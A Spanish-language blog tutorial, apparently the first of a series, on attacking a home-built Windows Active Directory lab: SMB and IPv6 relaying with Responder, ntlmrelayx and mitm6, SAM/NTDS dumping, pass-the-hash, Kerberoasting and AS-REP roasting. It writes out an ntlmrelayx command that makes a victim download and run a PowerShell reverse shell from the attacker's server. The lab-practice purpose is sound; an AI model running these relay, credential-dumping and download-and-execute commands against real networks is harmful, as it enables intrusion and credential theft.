Pentesting Windows #1

Featured image

En esta ocasión voy a mostrar diferentes técnicas de explotación en sistemas Windows usando un laboratorio configurado anteriormente y que podéis ver en mi blog.

Este artículo es solo la primera parte, iré subiendo más artículos como este con otras técnicas…

Direccionamiento IP:

Domain Controller 192.168.5.134
PC-ELC4BR4 192.168.5.135
PC-TIMOTI 192.168.5.136
PARROT ATACANTE 192.168.5.129

SMB-RELAY ATTACK

Normalmente por defecto el Samba no suele estar firmado, por lo que no se puede validar la legitimidad del orígen y al haber tantas comunicaciones por samba en una empresa podemos obtener hashes NTLMV2.

Esto lo realizamos a través de la herramienta Responder.

Responder es un envenenador de tráfico LLMNR,NBT-NS,MDNS,SMB,MSSQL…

Podemos acceder a su archivo de configuración ubicado en la ruta /usr/share/responder/Responder.conf y veremos lo siguiente:

Aquí tenemos la lista de protocolos soportados por Responder, que activaremos usando “On” o desactivaremos con “Off”.

Una vez tenemos todo listo, ejecutaremos el siguiente comando para poner el Responder a funcionar en la interfaz de red que estamos usando.

python3 Responder.py -I ens33 -rdw

Como podemos ver se pone en modo escucha en la interfaz indicada y Responder ya estaría envenando el tráfico.

Aprovechando que el Samba no está firmado y no se puede validar la legitimidad del origen, si se accede desde algún equipo de la red a algún recurso compartido a nivel de red que no exista o no esté disponible vamos a interceptar la comunicación desde el Responder y conseguiremos el hash NTLMv2 del usuario.

Como se puede ver, al acceder desde las máquinas de la red a algún recurso inexistente o no disponible obtenemos el hash del usuario, en este caso del usuario cfernandez y del usuario Administrador.

Cabe destacar que este ataque funciona con el Windows Defender activo.

¡NO SIRVE PARA HACER PASS THE HASH!

Enumerar equipos existentes por SMB con Crackmapexec

A través de crackmapexec puedo enumerar equipos existentes en un segmento de red a través del protocolo smb de la siguiente forma.

Al hallarme en el segmento de red 192.168.5.0/24 ejecutamos el siguiente comando:

cme smb 192.168.5.0/24

Y como vemos detectamos los equipos.

Hay ocasiones en las que determinados usuarios tienen privilegios sobre determinados equipos, en mi caso otorgo permisos de Administrador al usuario cfernandez añadiéndolo al grupo de Administradores

De esta forma el usuario cfernandez tiene privilegios de Administrador, ya que pertenece a este grupo.

Si realizamos un Password Spraying con crackmapexec veremos que el equipo PC-ELC4BR4 aparecerá como pwned, ya que el usuario cfernandez tiene estos permisos de Administrador sobre el equipo.

Como podemos ver, pone Pwn3d!, y si pone esto, podríamos realizar muchas cosas desde crackmapexec como dumpear la SAM…

SMBRELAY IPV4

Comenzamos accediendo al archivo de configuración de Responder y cambiamos el protocolo smb y el http a estado Off.

Una vez desactivados los dos protocolos y antes de lanzar el Responder voy a definir un archivo de targets donde escribiré la dirección ipv4 del equipo PC-TIMOTI, que es el equipo que quiero comprometer.

Obtengo la ip a través de crackmapexec enumerando los equipos a través del samba.

Una vez tengo el archivo target creado haré uso de la utilidad ntlmrelayx.py utilizando la siguiente sintaxis python3 ntlmrelayx.py -tf (targetfiles) -smb2support (para dar soporte a la versión 2 de samba ya que es Windows 10).

Una vez lanzamos el comando ponemos el Responder a funcionar envenenando el tráfico de la red, y en el momento que un usuario desde el equipo PC-ELC4BR4 accede a un recurso compartido en red que no existe o que no está disponible pasa lo siguiente:

Nos dumpea la SAM!!!!

Esto se debe a que como el samba no está firmado no se puede validar la legitimidad del origen como atacante le engañamos haciendonos pasar por el samba para que se autentique contra nosotros y redirigimos el flujo de la autenticación sobre el equipo víctima para dumpear la SAM de forma automatizada a través de la utilidad ntlmrelayx.py.

De esta forma podríamos hacer pass the hash o craquear los propios hashes…

EJECUCIÓN DE COMANDOS A TRAVÉS DE NTLMRELAYX

El proceso es muy similar, usaremos el responder como lo hemos usado hasta ahora y ntlrelayx.py pero con otros parámetros.

Con el parámetro -c en ntlmrelayx.py podemos especificar el comando que queremos ejecutar a nivel de sistema al envenenar la comunicación.

En este punto podríamos intentar ganar acceso a uno los equipos usando una reverse shell.

Para ello usaré una reverse shell del repositorio de Nishang.

GitHub - samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security.

En concreto utilizaré solo 1 línea que es lo que me interesa que he de incorporar a un archivo.

Una vez añadida esta línea al archivo me abro un servidor de python3 —> python3 -m http.server 8080 y pongo un oyente de netcat en escucha en el puerto 800 —> sudo nc -lnvp 800.

Lanzo el responder como hasta entonces y ejecuto el ntlmrelayx.py con los siguientes parámetros.

sudo impacket-ntlmrelayx.py -tf target.txt -smb2support -c "powershell IEX(New-Object Net.WebClient).downloadString(http://ip:8080/file.ps1)"

Al acceder a un recurso compartido que no existe o no está activo desde el equipo PC-ELC4BR4 con el usuario cfernandez que posee privilegios de Administrador obtendremos una shell como NT AUTHORITY\SYSTEM en el equipo PC-TIMOTI.

SMBRELAY IPV6

En ocasiones se deshabilita el uso de ipv4 para mitigar este tipo de ataques, pero no lo deshabilitan en ipv6, por lo que ahora veremos como realizar el ataque SMBRELAY a través de ipv6.

A través de mitm6 envenenamos el dominio de la empresa elc4br4corp.local entero y a través del ntlmrelayx.py encadenarlo con proxychains para crear un túnel y poder ejecutar comandos.

Lanzamos mitm6 -d elc4br4corp.local para comenzar a envenenar el dominio.

Las máquinas Windows tienen una peculiaridad y es que solicitan tráfico ipv6, de forma que al lanzar el mitm6 veremos que nos pilla las dos máquinas PC-ELC4BR4 y PC-TIMOTI, asignando mi dirección ipv6 como atacante a su puerta de enlace de cada máquina.

Una vez lo hemos lanzado y ha pillado los equipos procedemos a lanzar el ntlmrelayx.py con una serie de parámetros.

ntlm-relayx.py -6 -wh <ip-atacante> -tf <targets file> -socks -debug -smb2support

De esta forma indicamos que el ataque será por ipv6 (-6), que vamos a redirigir el tráfico a nuestra máquina atacante (-wh), que usaremos el archivo de targets, usaremos socks para posteriormente tirar de proxychains y smb2support porque hay que dar soporte al smb2.

Lanzo el comando y accedo desde la máquina de PC-TIMOTI a algún recurso compartido inexistente logueado como el usuario cfernandez, y desde el ntlmrelay ejecuto desde la shell interactiva el comando socks, y veo lo siguiente:

Al ser el usuario cfernandez, un usuario con privilegios sobre la máquina de PC-TIMOTI nos aparece TRUE en el apartado AdminStatus.

Ahora es cuando usamos proxychains, pero antes debemos editar el archivo de configuración del mismo ubicado en /etc/proxychains.conf añadiendo esta línea al final del archivo.

Y una vez añadida la línea podemos hacer algo usando proxychains y crackmapexec.

Como tenemos un relay de una usuario administrador sobre un equipo podemos tirar de proxychains y crackmapexec para que me autentique en el equipo PC-TIMOTI como el usuario cfernandez sobre el dominio elc4br4corp utilizando una credencial aleatoria.

De la siguiente forma:

Y como podemos ver nos dice “Pwn3d!”

¿Pero como es posible? —> Estamos aprovechando el relay para tunelizar esa comunicación y hacerle un relaying de las credenciales.

De igual forma podríamos dumpear la SAM con el parámetro –sam y usando la contraseña que queramos.

También podemos dumpear la lsa con el parámetro —lsa.

¿Y si tenemos credenciales válidas?

Anteriormente en varias ocasiones hemos podido dumpear la SAM y obtener todos los hashes de los usuarios, tanto del Administrador, como del usuario Timoti… etc.

Si conseguimos craquear esos hashes y obtener las credenciales en texto plano podríamos utilizarlas para acceder directamente al sistema.

Usando la herramienta psexec.py podemos conectarnos al dominio como el usuario Administrador ya que tenemos sus credenciales que previamente obtuvimos y craqueamos.

Como se puede ver he usado esas credenciales del usuario Administrador para pedirle al psexec.py que me otorgue una cmd y ganar acceso como Administrador a la máquina del dominio.

Autentication Spraying

Si poseemos credenciales válidas como es el caso, que tenemos la credencial del usuario Administrador podríamos realizar un Autentication Spraying para ver sobre que equipos tenemos privilegios e incluso podríamos ejecutar comandos en todos aquellos que tengamos acceso.

A través de crackmapexec realizamos este Autentication Spraying.

Como podemos ver en la imágen, tengo acceso con el usuario Administrador a esos equipos, por eso aparece Pwn3d!

Pero lo bueno es que podríamos ejecutar algún comando en las 3 máquinas a la vez… como por ejemplo…

Ejecuto el comando ipconfig y me muestra la salida del mismo de los 3 equipos.

Incluso podríamos hacer algo mejor aún, como habilitar el RDP para acceder a la máquina directamente por esta vía.

Pero lo más recomendado a realizar en este tipo de ocasiones que ya tenemos acceso al DC con credenciales de Administrador es dumpear el NTDS para tener todos los hashes del Directorio Activo.

Aquí tenemos la lista de todos los hashes que podemos usar con wmiexec.py para hacer Pass The Hash.

PASS THE HASH

Usando los hashes obtenidos anteriormente vamos a hacer Pass The Hash usando wmiexec.py.

Usaré el hash NTLM del usuario cfernandez y ejecuto el siguiente comando:

Y como vemos me he conectado a la máquina PC-TIMOTI con el hash del usuario cfernandez.

También puedo hacerlo con el hash del usuario Administrador para conectarme a la máquina del DC.

ENUMERACIÓN → RPCCLIENT

Si disponemos de credenciales (no es necesario que sean de Administrador) podemos enumerar a través de la herramienta rpcclient de la siguiente manera:

Para ver representada esta información de forma más detallada y bonita encontré un mini script en bash.

**#!/bin/bash
for rid in $(rpcclient -U "elc4br4corp.local\cfernandez%P@ssw0rd1" 192.168.5.134 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep '0x' | tr -d '[]'); do echo -e "\n[+] Para el RID $rid:\n"; rpcclient -U "elc4br4corp.local\cfernandez%P@ssw0rd1" 192.168.5.134 -c "queryuser $rid " | grep -E -i "user name|description" ;done**

Lo lanzamos y vemos la información mejor representada:

He de añadir que existe un script creado por s4vitar llamado rpcenum que nos automatiza todo este proceso y añade más funcionalidades.

GitHub - s4vitar/rpcenum: Herramienta en Bash ideal para extraer la información más relevante de un dominio vía rpcclient.

Para asreproast y kerberoasting creo un usuario nuevo llamado SVC_SQLservice con pass Mypassword123#

ENUMERACIÓN DE USUARIOS ADMINISTRADORES DEL DOMINIO

Podemos hacerlos de dos formas.

  1. rpcclient

Como podemos ver obtenemos del grupo de Administradores el nombre de todos los usuarios Administradores.

Administrador, test y SVC_SQLservice.

  1. ldapdomaindump

Con ldapdomaindump podremos ver toda la información a través del navegador.

Ejecutamos el siguiente comando en la ruta /var/www/html.

Ponemos en funcionamiento el servidor apache y accedemos desde el navegador.

Podemos ver la información relacionada con el dominio, como los usuarios existentes, los grupos a los que pertenecen cada uno, descripción… entre otras cosas.

Aquí tenemos los 3 usuarios Administradores del dominio.

Conexión a través de WinRM

Si existe el puerto abierto y poseemos credenciales válidas podemos acceder al sistema a través de la herramienta evil-WinRM, de la siguiente forma.

Primero compruebo que esté el puerto abierto, esto lo hago con nmap.

Como se puede ver está abierto, por lo que a través de evil-winrm puedo conectarme a una de las máquinas usando las credenciales.

Voy a conectarme a la máquina del DC usando las credenciales del usuario SVC_SQLservice.

Una vez logueados ya podemos ejecutar comandos en el sistema, y recordemos que el usuario SVC_SQLservice forma parte del grupo de Administradores, por lo que posee privilegios.

KERBEROASTING

Antes de proceder al ataque debemos asegurarnos que el usuario en cuestión al que vamos a atacar es kerberoasteable.

Voy a mostrar como se hace para que podáis hacerlo en vuestro laboratorio.

Desde la máquina del DC vamos a abrir el cmd y ejecutaremos el siguiente comando.

setspn -a elc4br4corp.local/<usuario>.<hostname> elc4br4corp.local\<usuario>

Si ahora desde nuestra máquina atacante usamos la herramienta GetUserSPNs.py con cualquiera de las credenciales que tengamos veremos lo siguiente.

Si lo pruebo con las credenciales del usuario timoti

Podemos ver que el usuario SVC_SQLservice es kerberoasteable.

La herramienta GetUserSPNs.py tiene un parámetro llamado -request que sirve para solicitar un TGS (Ticket Granting Server) y posteriormente craquearlo con John The Ripper o con Hascat.

Es decir, con las credenciales del usuario timoti (que no es privilegiado) podemos conseguir el TGS del usuario SVC_SQLservice que sí es privilegiado y craquearlo para obtener su contraseña.

Nos copiamos el hash a un archivo y lo craqueamos con John The Ripper.

Y si tenemos suerte y es débil obtendríamos su contraseña.

A continuación para validar si es usuario Administrador del dominio lanzamos un Password Spraying con crackmapexec.

Y como se puede ver, es usuario Administrador del dominio y tiene acceso a todos los equipos de la red, hemos Pwneado la red!!!

ASREPROAST

Para comenzar con este ataque primero necesitamos una lista con los usuarios del Directorio Activo, que los podemos conseguir con rpcclient como ya vimos anteriormente.

Nos creamos una lista con estos usuarios.

A continuación debemos usar la herramienta GetNPUsers.py y ejecutamos el siguiente comando:

Lo lanzamos pero nos arroja una serie de errores… esto se debe a la configuración de cada uno de los usuarios del dominio, ya que hay que activar una casilla que veremos a continuación para que el ataque funcione.

Si estamos en un CTF y nos aparecen estos errores no podríamos hacer nada, simplemente buscar otros métodos, pero como esto es un laboratorio de práctica creado por nosotros mismos vamos a hacer que estos usuarios sean vulnerables a ASREPROAST.

Para ello nos dirigimos al DC y desde la configuración de usuarios y grupos hacemos click derecho sobre el usuario que queramos que sea vulnerable a este ataque y marcamos la siguiente casilla.

Una vez activado lanzo de nuevo el ataque ASREPROAST y funcionará.

Obtengo el hash del usuario SVC_SQLservice que puedo intentar crackear de nuevo y si tengo suerte obtener la contraseña.

Con esto finaliza el primer artículo de Pentesting Windows.

Esta idea surje del vídeo de s4vitar y de ahí he aprendido y mostrado estas técnicas, dejo el vídeo de s4vitar para más info.

https://odysee.com/@s4vitar:f/pentesting-en-entornos-empresariales:8

Pentesting Windows #2